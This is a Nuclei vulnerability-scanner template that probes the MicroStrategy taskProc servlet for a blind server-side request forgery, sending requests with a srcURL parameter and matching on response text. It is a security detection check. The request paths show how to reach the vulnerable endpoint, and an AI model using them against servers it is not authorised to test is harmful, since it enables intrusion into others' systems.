nuclei-templates/vulnerabilities/other/microstrategy-ssrf.yaml

26 lines
800 B
YAML

id: microstrategy-ssrf
info:
name: MicroStrategy tinyurl - BSSRF
author: organiccrap
severity: high
description: Blind server-side request forgery vulnerability on MicroStrategy URL shortener.
reference:
- https://medium.com/@win3zz/how-i-made-31500-by-submitting-a-bug-to-facebook-d31bb046e204
tags: microstrategy,ssrf
requests:
- method: GET
path:
- '{{BaseURL}}/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com'
- '{{BaseURL}}/MicroStrategy/servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com'
stop-at-first-match: true
matchers:
- type: word
words:
- taskResponse
- The source URL is not valid
condition: and
part: body